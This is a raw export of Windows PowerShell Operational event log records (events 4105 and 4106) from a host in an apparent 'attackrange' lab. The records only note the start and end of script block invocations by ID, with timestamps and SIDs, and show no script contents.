RecordNumber=2048112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048110
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048109
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048105
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048087
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048086
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048085
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048084
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048068
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048067
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048062
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048061
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
